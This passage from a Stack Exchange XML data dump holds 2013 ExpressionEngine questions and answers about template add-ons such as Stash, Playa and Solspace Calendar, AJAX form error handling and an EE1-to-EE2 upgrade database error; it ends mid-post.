  <row Id="12746" PostTypeId="2" ParentId="12739" CreationDate="2013-08-14T20:33:16.367" Score="1" Body="&lt;p&gt;You can probably get this done with stash. This is off the top of my head so please refer to the Stash documentation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;is_engravable&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot; default=&quot;0&quot;}{exp:cartthrob:cart_items_info}{if channel_name == &quot;engravable_products&quot;}1{/if}{/exp:cartthrob:cart_items_info}{/exp:stash:set}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;  {exp:cartthrob:checkout_form}&#xA;  {if {exp:stash:not_empty name=&quot;is_engravable&quot;}}&#xA;  &amp;lt;label&amp;gt;Engraving&amp;lt;/label&amp;gt;&#xA;  &amp;lt;input type=&quot;text&quot; name=&quot;order_engraving&quot;&amp;gt;&#xA;  {/if}&#xA;  {/exp:cartthrob:checkout_form}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-08-14T20:33:16.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12748" PostTypeId="2" ParentId="12724" CreationDate="2013-08-14T20:53:42.417" Score="1" Body="&lt;p&gt;Thanks for your replies. The solution was to use {exp:playa:children field=&quot;model_painter&quot; status=&quot;not closed&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The channel I'm pulling data from is a Zoo Visitor members channel, and it requires the status=&quot;not closed&quot; parameter.&lt;/p&gt;&#xA;" OwnerUserId="1851" LastActivityDate="2013-08-14T20:53:42.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12749" PostTypeId="2" ParentId="12743" CreationDate="2013-08-14T21:23:05.340" Score="0" Body="&lt;p&gt;I &lt;em&gt;guess&lt;/em&gt; you should to use &lt;a href=&quot;http://gotolow.com/addons/low-events/docs/tags#entries-tag&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;exp:low_events:entries&lt;/code&gt; instead of &lt;code&gt;exp:channel:entries&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-08-14T21:23:05.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12750" PostTypeId="2" ParentId="12745" CreationDate="2013-08-14T21:48:43.423" Score="1" Body="&lt;p&gt;I think you misunderstood. Stash is a sort of replacement functionality for EE's built in snippets (yes oversimplifying it a bit, but that's what it boils down to), as in that it's meant for developers, where Low Variables is a way for clients to manage &quot;global content&quot; (such as settings, contact information etc). They work perfectly fine together.&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-08-14T21:48:43.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12751" PostTypeId="2" ParentId="12687" CreationDate="2013-08-15T00:19:43.617" Score="0" Body="&lt;p&gt;For my future self and others trying to work ajax into EE, when editing your profile via front end (I'm using &lt;a href=&quot;http://www.solspace.com/docs/user/&quot; rel=&quot;nofollow&quot;&gt;Solspace User&lt;/a&gt; with Malsup Ajax Form) but also applies when using PM (&lt;a href=&quot;http://www.intoeetive.com/docs/messaging.html&quot; rel=&quot;nofollow&quot;&gt;Messaging Module&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF everything is filled in EE returns a proper Ajax/JSON reply yet if required fields are empty then EE returns a 200 success message with a plain text error. This is the reply if required field iss missing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: Message must contain at least one recipient.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You have to break apart the message, like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#compose').ajaxForm({&#xA;    target: '#confirmation',&#xA;    dataType: 'text',&#xA;        success: function(result) {&#xA;        //Fuckin EE, even when no fields filled in, returns &quot;success&quot;, gotta break it up&#xA;        var data = result.split(&quot;:&quot;); // The magic !!&#xA;        //console.log(data[0]);&#xA;        if (data[0] == 'Error'){//Use the first part of the split&#xA;            $(&quot;#confirmation&quot;).html(&quot;&amp;lt;div class='alert'&amp;gt;&amp;lt;p&amp;gt;Ah c'mon man, &quot;+data[1]+&quot;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&quot;);&#xA;            $(&quot;#confirmation&quot;).hide();&#xA;            $(&quot;#confirmation&quot;).fadeIn(500);&#xA;        }else{ &#xA;        //In this case proper success needs redirect but you could do whatever&#xA;        document.location.href = '/inbox';&#xA;            //$(&quot;#confirmation&quot;).html(&quot;&amp;lt;div class='alert'&amp;gt;&quot;+result+&quot;&amp;lt;/div&amp;gt;&quot;);&#xA;            //$(&quot;#confirmation&quot;).hide();&#xA;            //$(&quot;#confirmation&quot;).fadeIn(500);&#xA;        }&#xA;        }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So when EE replies back with plain text, it can be useful. Using the exact same ajax behaviour above, when dealing with HTML formatted response like in my original question, use this to convert it into a JSON response&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: function(event) {&#xA;var data = eval(&quot;(&quot; + event.responseText + &quot;)&quot;);&#xA;$(&quot;#confirmation&quot;).html(&quot;&amp;lt;div class='alert'&amp;gt;&quot;+data.error+&quot;&amp;lt;/div&amp;gt;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I taught myself a lot trying to figure this out and hopefully this may help someone else :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-08-15T00:19:43.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12752" PostTypeId="1" AcceptedAnswerId="12779" CreationDate="2013-08-15T01:00:50.510" Score="2" ViewCount="98" Body="&lt;p&gt;I have a MSM site with &lt;a href=&quot;http://www.solspace.com/software/detail/calendar/&quot; rel=&quot;nofollow&quot;&gt;Solspace Calendar&lt;/a&gt; installed. For ease of use on the clients side, they'd like to manage all calendars from one side of the admin which is pretty easy but I'm running into a problem with trying to exclude certain calendars from showing up on one site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For site A, I'd like to show all calendars EXCEPT specified ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For site B, I'd like to ONLY show the specified calendars. This is easy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;calendar_name=&quot;classes|events&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, for site A, I should be able to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;calendar_name=&quot;NOT classes|events&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't seem to be working. It hides all my calendars and seems to break the tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas or suggestions would be great. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1382" LastEditorUserId="27" LastEditDate="2013-08-15T12:41:03.727" LastActivityDate="2013-08-15T19:11:29.513" Title="Exclude Calendars (Solspace) from displaying?" Tags="|solspace|solspace-calendar|calendar|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12753" PostTypeId="2" ParentId="12736" CreationDate="2013-08-15T02:52:02.850" Score="0" Body="&lt;p&gt;What happens if you move your &lt;code&gt;lv_region_entry_ids&lt;/code&gt; code into your template wrapped in a stash:set pair, like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;region_entry_ids&quot; parse_tags=&quot;yes&quot;}&#xA;  {exp:channel:entries url_title=&quot;{segment_3}&quot; dynamic=&quot;no&quot; disable=&quot;pagination|member_data|categories}{exp:playa:parent_ids}{/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in the same template call/get the value like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories entry_id=&quot;{stash:region_entry_ids}&quot;}&#xA;  (some code)&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-08-15T02:52:02.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12754" PostTypeId="1" AcceptedAnswerId="12824" CreationDate="2013-08-15T05:53:00.927" Score="2" ViewCount="447" Body="&lt;p&gt;I want to get all occurrences of a single calendar and sort them by the occurrence start date.&#xA;The reason why I want to do this is because I want to create an occurrence details page. To do that I need the occurrence ID, the calendar:cal tag does not seem to give me the occurrence id when printing out a single occurrence. I have tried the calendar:occurrences tag, but I cannot get that one to sort the occurrences by occurence_start date. I have tried using the default orderby and sort options to accomplish the sorting, but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this? What are my options? &lt;/p&gt;&#xA;" OwnerUserId="1099" LastActivityDate="2013-10-04T16:20:56.333" Title="Get (Solspace) calendar occurences sorted by date" Tags="|calendar|solspace-calendar|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12755" PostTypeId="2" ParentId="12743" CreationDate="2013-08-15T06:00:34.920" Score="4" Body="&lt;p&gt;To be on the safe side, I'd check for numerical values only, like 201308. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {event_dates:start_date format=&quot;%Y%m&quot;} == {event_dates:end_date format=&quot;%Y%m&quot;}}&#xA;  same month&#xA;{if:else}&#xA;  not same month&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When debugging the advanced conditionals, try to remove them and add them one at a time to see which actual one is causing the trouble.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-08-15T06:00:34.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12756" PostTypeId="2" ParentId="12736" CreationDate="2013-08-15T06:07:05.463" Score="1" Body="&lt;p&gt;The code that ends up in the template with your current setup is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories entry_id=&quot;{exp:channel:entries url_title=&quot;{segment_3}&quot;}{exp:playa:parent_ids}{/exp:channel:entries}&quot;}&#xA;  (some code)&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you see the problem now? You're using &lt;em&gt;two&lt;/em&gt; tags as input for another tag's parameter value. On top of that, the double quotes are clashing; the value for entry_id actually is &lt;code&gt;{exp:channel:entries url_title=&lt;/code&gt; instead of the whole tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &lt;em&gt;try&lt;/em&gt; using single quotes for either the gwcode_categories tag or channel:entries tag &lt;em&gt;and&lt;/em&gt; adding &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; to the gwcode_categories tag to try and parse the parameter value. If that doesn't work, use embeds or perhaps Stash, like Stephen suggested.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-08-15T06:07:05.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12757" PostTypeId="2" ParentId="12745" CreationDate="2013-08-15T09:26:56.733" Score="13" Body="&lt;p&gt;Stash and Low Variables are complementary.&lt;/p&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;http://gotolow.com/addons/low-variables&quot; rel=&quot;noreferrer&quot;&gt;Low Variables&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;p&gt;Essentially a replacement for native snippets and global variables. Provides a control panel interface for managing variables. Variables may be considered content - text values, matrix data, default images - or code, such as a tag that outputs your primary navigation or contains your footer markup.&lt;/p&gt;&#xA;&lt;p&gt;Variables groups can be used to allow some variables to be managed by your client (e.g. the content type variables) and others to be managed by you, the developer (e.g. the code variables).&lt;/p&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki&quot; rel=&quot;noreferrer&quot;&gt;Stash&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;p&gt;The most basic use of Stash is to save the output of tags - or the tags themselves - at runtime (when a template is parsed). You can then re-use the fragment of saved data somewhere else in your template(s).&lt;/p&gt;&#xA;&lt;p&gt;Stash can be used to change the parse order of your tags such that fragments of data can be passed from tag to tag in the order you desire.&lt;/p&gt;&#xA;&lt;p&gt;Stash embeds can be used as a powerful replacement for ExpressionEngine embeds.&lt;/p&gt;&#xA;&lt;p&gt;Stash caching can be used to save your fragments of data to the database. The tags that generated the data then do not need to run again, so subsequent views of your template use less resources.&lt;/p&gt;&#xA;&lt;p&gt;Stash can be used to implement various advanced template design patterns:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/Template-partials&quot; rel=&quot;noreferrer&quot;&gt;Template partials&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/Mvvm-%28model-view-viewmodel%29&quot; rel=&quot;noreferrer&quot;&gt;MVVM&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/Template-inheritance&quot; rel=&quot;noreferrer&quot;&gt;Template inheritance&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/Mustash&quot; rel=&quot;noreferrer&quot;&gt;Mustash&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;p&gt;Mustash allows you to manage &lt;strong&gt;cached&lt;/strong&gt; Stash variables in the control panel and set up cache-breaking rules such that the cache is refreshed when content is edited in the control panel. You can choose which sections of Mustash will be accessible to you or your clients; for example, you may wish for your client to be able to clear the cache but not have access to the rules section.&lt;/p&gt;&#xA;&lt;p&gt;You do not need Mustash in order to use Stash, but if your are using caching then it will make things much easier to manage for both you and your client.&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-08-15T09:26:56.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12758" PostTypeId="1" CreationDate="2013-08-15T13:50:40.440" Score="2" ViewCount="64" Body="&lt;p&gt;I'm trying to set simple commerce to update a member field when a purchase has been made. How do I do this? I'd also like to do this when a user unsubscribes from our site.&lt;/p&gt;&#xA;" OwnerUserId="1273" LastActivityDate="2013-08-18T08:09:41.770" Title="How do I set up simple commerce to perform actions on a successful purchase/unsubscription?" Tags="|members|ecommerce|paypal|commerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12759" PostTypeId="1" AcceptedAnswerId="12793" CreationDate="2013-08-15T14:16:47.173" Score="1" ViewCount="148" Body="&lt;p&gt;I read this article and setup my single entry pages with the 404 redirect conditional. I also setup the 404 page in the CP and set Strict URL's to YES. When I try and go to a broken link I do get redirected to the 404 page, but it still has the broken URL in the browser. I have analytics installed on the 404 template but I'm wondering how this will show up in Google Analytics. I want to be able to see what URL people are visiting and getting the 404. Any help? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-08-16T00:48:16.803" Title="404 redirects and google analytics question" Tags="|redirects|404|analytics|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12761" PostTypeId="1" AcceptedAnswerId="12765" CreationDate="2013-08-15T14:39:32.603" Score="2" ViewCount="824" Body="&lt;p&gt;Currently using Playa on a site to allow the client to pick what news entries show up on the homepage as they don't always want to show the newest entry, they want to show the most important. But it's a small nag to have them create a news post then have to open another &quot;Home&quot; entry to drag and drop news items. I was thinking it might be easier for them to set news articles as Sticky when they are creating them, then only display the sticky entries on the homepage. if I just set sticky=&quot;yes&quot; this would show sticky entries on top, but might not show all sticky entries if the limit=3 and 4 sticky entries are set. Thanks for any ideas!&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-08-15T23:29:05.237" Title="Is there a way to only show sticky entries?" Tags="|entries|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12762" PostTypeId="1" AcceptedAnswerId="12775" CreationDate="2013-08-15T14:46:24.180" Score="0" ViewCount="46" Body="&lt;p&gt;I'm trying to set up an import profile with with &lt;a href=&quot;http://www.solspace.com/software/detail/importer/&quot; rel=&quot;nofollow&quot;&gt;Solspace Importer&lt;/a&gt; to upload CSV files with channel entries but I don't see any way of telling it which channel I want to import to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something fundamental here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Alex&lt;/p&gt;&#xA;" OwnerUserId="1898" LastEditorUserId="27" LastEditDate="2013-08-15T16:54:45.383" LastActivityDate="2013-08-15T17:50:49.467" Title="Solspace importer how to tell it which channel to import to?" Tags="|solspace|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12763" PostTypeId="2" ParentId="12426" CreationDate="2013-08-15T14:58:26.767" Score="0" Body="&lt;p&gt;I ended up solving this issue with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{channel_relationship orderby=&quot;title&quot; sort=&quot;desc&quot; limit=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I create a relationship field between the parentChannel and childChannel called channel_relationship.  Since the child fields all start with a year and I wanted to only display information from the newest year, I sorted all of the relationship entries by title, descending.&lt;/p&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2013-08-15T14:58:26.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12764" PostTypeId="2" ParentId="11866" CreationDate="2013-08-15T15:01:14.310" Score="1" Body="&lt;p&gt;To solve this issue, I ended up creating two channels:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Magazine&#xA;2) Edition&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and a relationship field between the two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for the example data, Magazine channel contains entries for National Geographic, Sports Illustrated, etc.  Edition channel contains 2013 National Geographic, 2012 National Geographic, etc, etc.&lt;/p&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2013-08-15T15:01:14.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12765" PostTypeId="2" ParentId="12761" CreationDate="2013-08-15T15:13:25.890" Score="2" Body="&lt;p&gt;I've done that sort of thing using a status and limiting the items displayed on the home page to just those with that status.  And you can, as of 2.5.4, order by status, putting them up first if you so choose, mirroring sticky functionality, on your inside page.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-15T15:13:25.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12766" PostTypeId="1" CreationDate="2013-08-15T15:28:21.663" Score="1" ViewCount="104" Body="&lt;p&gt;getting this error during an EE1 - EE2 upgrade:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1146&#xA;&#xA;Table 'dbname_ee.exp_weblog_fields' doesn't exist&#xA;&#xA;SELECT field_id FROM exp_weblog_fields WHERE field_type = 'date'&#xA;&#xA;Filename: updates/ud_200.php&#xA;&#xA;Line Number: 1930&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NEW ERROR::&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;error&quot;:&quot;&#xA;Error Number: 1064&amp;lt;\/p&amp;gt;\n\n&#xA;&#xA;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '`wm_name` varchar(80),\n\t`wm_type` varchar(10) DEFAULT 'text',\n\t`wm_image_path` v' at line 3&amp;lt;\/p&amp;gt;\n\n&#xA;&#xA;ALTER TABLE `exp_member_groups` ADD \n\t`wm_id` int(4) UNSIGNED AUTO_INCREMENT,\n\t`wm_name` varchar(80),\n\t`wm_type` varchar(10) DEFAULT 'text',\n\t`wm_image_path` varchar(100),\n\t`wm_test_image_path` varchar(100),\n\t`wm_use_font` char(1) DEFAULT 'y',\n\t`wm_font` varchar(30),\n\t`wm_font_size` int(3) UNSIGNED,\n\t`wm_text` varchar(100),\n\t`wm_vrt_alignment` varchar(10) DEFAULT 'top',\n\t`wm_hor_alignment` varchar(10) DEFAULT 'left',\n\t`wm_padding` int(3) UNSIGNED,\n\t`wm_opacity` int(3) UNSIGNED,\n\t`wm_x_offset` int(4) UNSIGNED,\n\t`wm_y_offset` int(4) UNSIGNED,\n\t`wm_x_transp` int(4),\n\t`wm_y_transp` int(4),\n\t`wm_font_color` varchar(7),\n\t`wm_use_drop_shadow` char(1) DEFAULT 'y',\n\t`wm_shadow_distance` int(3) UNSIGNED,\n\t`wm_shadow_color` varchar(7),\n\t`id` int(10) UNSIGNED AUTO_INCREMENT,\n\t`upload_location_id` int(4) UNSIGNED DEFAULT '0',\n\t`title` varchar(255),\n\t`short_name` varchar(255) DEFAULT '',\n\t`resize_type` varchar(50) DEFAULT '',\n\t`width` int(10) DEFAULT '0',\n\t`height` int(10) DEFAULT '0',\n\t`watermark_id` int(4) UNSIGNED,\n\t`file_id` int(10) UNSIGNED AUTO_INCREMENT,\n\t`cat_id` int(10) UNSIGNED,\n\t`sort` int(10) UNSIGNED DEFAULT '0',\n\t`is_cover` char(1) DEFAULT 'n',\n\t`site_id` int(4) UNSIGNED DEFAULT '1',\n\t`rel_path` varchar(255),\n\t`status` char(1) DEFAULT 'o',\n\t`mime_type` varchar(255),\n\t`file_name` varchar(255),\n\t`file_size` int(10) DEFAULT '0',\n\t`field_1` text,\n\t`field_1_fmt` tinytext,\n\t`field_2` text,\n\t`field_2_fmt` tinytext,\n\t`field_3` text,\n\t`field_3_fmt` tinytext,\n\t`field_4` text,\n\t`field_4_fmt` tinytext,\n\t`field_5` text,\n\t`field_5_fmt` tinytext,\n\t`field_6` text,\n\t`field_6_fmt` tinytext,\n\t`metadata` mediumtext NULL,\n\t`uploaded_by_member_id` int(10) UNSIGNED DEFAULT '0',\n\t`upload_date` int(10),\n\t`modified_by_member_id` int(10) UNSIGNED DEFAULT '0',\n\t`modified_date` int(10),\n\t`file_hw_original` varchar(20),\n\t`can_admin_upload_prefs` CHAR(1) DEFAULT 'n' NOT NULL AFTER `can_admin_channels`&amp;lt;\/p&amp;gt;\n\n&#xA;&#xA;Filename: \/home\/user\/admin\/expressionengine\/libraries\/Smartforge.php&amp;lt;\/p&amp;gt;\n\n&#xA;&#xA;Line Number: 122&amp;lt;\/p&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is line 122:               &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (ee()-&amp;gt;dbforge-&amp;gt;add_column($table, array($k =&amp;gt; $field[$k]), $after_field))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2013-08-15T15:58:23.557" LastActivityDate="2013-10-14T19:58:08.113" Title="EE1 to EE2 upgrade error SELECT field_id FROM exp_weblog_fields WHERE field_type = 'date'" Tags="|ee1|upgrade|ee2-upgrades|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12768" PostTypeId="2" ParentId="12761" CreationDate="2013-08-15T15:39:07.287" Score="1" Body="&lt;p&gt;You can use a {if sticky == 'y'} content {/if} conditional in your entries loop to do this.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-08-15T15:39:07.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12769" PostTypeId="1" AcceptedAnswerId="12823" CreationDate="2013-08-15T15:41:14.040" Score="2" ViewCount="209" Body="&lt;p&gt;I'm trying to import a data base that has multi-language entries to EE and thought of using &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow&quot;&gt;DataGrab&lt;/a&gt;. I'm using &lt;a href=&quot;http://boldminded.com/add-ons/publisher&quot; rel=&quot;nofollow&quot;&gt;Publisher&lt;/a&gt; plugin to relate multi-language entries. Is there a way that I can import the DB without losing the relation between entries and their translations? &lt;/p&gt;&#xA;" OwnerUserId="1897" LastEditorUserId="2351" LastEditDate="2013-11-12T08:49:16.543" LastActivityDate="2013-11-12T08:49:16.543" Title="How to bulk import multi-language data to channel entries?" Tags="|channel-entries|database|multi-language|datagrab|import|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12770" PostTypeId="1" CreationDate="2013-08-15T16:06:12.863" Score="0" ViewCount="44" Body="&lt;p&gt;I'm trying to create a custom fieldtype that's &lt;code&gt;display_field()&lt;/code&gt; function produces a collection of &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; boxes. The problem I am having is that the &lt;code&gt;validate()&lt;/code&gt; function in my ft.x_fieldtype.php file is getting run each time for each &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; it seems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone see a way around this?&lt;/p&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-08-15T17:53:43.120" Title="Fieldtype runs validate() multiple times?" Tags="|add-on-development|fieldtype|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12771" PostTypeId="1" AcceptedAnswerId="12774" CreationDate="2013-08-15T16:16:03.380" Score="1" ViewCount="109" Body="&lt;p&gt;I hate to complain about a freebie add-on - EE Debug Toolbar from mitra62 - but unfortunately installing EE Debug Toolbar has just caused me major problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The good news is that my site is still up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bad news is that I can't login as a superadmin at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The story is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My EE site uses the latest version of EE and of MSM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just downloaded version 1.0 (RC1) of EE Debug Toolbar from Devot-ee.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the instructions on GitHub (just before it's current DDOS attack) including turning on the EE debugging reporting. I uploaded all the files that came with the download in the usual sections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went to Extensions and activated EE Debug. There was a list of things to activate, I believe I started with the first one on the list because it seemed the most general. I'm sorry but this is all I can recall about this step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got this error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Class 'XMLWriter' not found in /var/www/html/system/expressionengine/third_party/ee_debug_toolbar/libraries/xml_writer.php on line 35 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My superadmin access to the site stalled there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went back to GitHub to look for help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GitHub is experiencing a DD0S attack and is down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to log onto my super admin account from another browser and got the error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got impatient and deleted all the EE Debug addons from the system and themes folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I just get a white screen when I try to log on to my superadmin account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get back in as superadmin now?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help you can provide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jeanne&lt;/p&gt;&#xA;" OwnerUserId="997" LastActivityDate="2013-08-15T17:48:46.923" Title="EE Debug Toolbar Installation Crash" Tags="|add-on|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12772" PostTypeId="1" AcceptedAnswerId="12807" CreationDate="2013-08-15T17:29:31.000" Score="3" ViewCount="244" Body="&lt;p&gt;Does the name variable in the forgot password email template always equal the username?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dswXD.png&quot; alt=&quot;forgot password template&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2014-09-05T21:21:06.000" Title="Does {name} always equal {username} in Forgotten Password template?" Tags="|templates|system-messages|forgot-password|messages|username|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12773" PostTypeId="1" CreationDate="2013-08-15T17:33:01.807" Score="2" ViewCount="574" Body="&lt;p&gt;So, this is my actual workflow:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;With my IDE (Webstorm or Aptana, I'm on windows) I create a project and I synchronize remotely via (s)ftp&lt;/li&gt;&#xA;&lt;li&gt;I then create a git repository and push it on bitbucket&lt;/li&gt;&#xA;&lt;li&gt;Everytime i upgrade the project in local , it syncs with the production version on the server. I then commit and push the changes&lt;/li&gt;&#xA;&lt;li&gt;therefore, my actual environment is local &gt; production&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would like to switch to multiple environments (local &gt; development &gt; production), where local is my pc and development/production are on the same server (dev in a subdomain), using ee master config&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read a bit and I found two solutions:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;1) 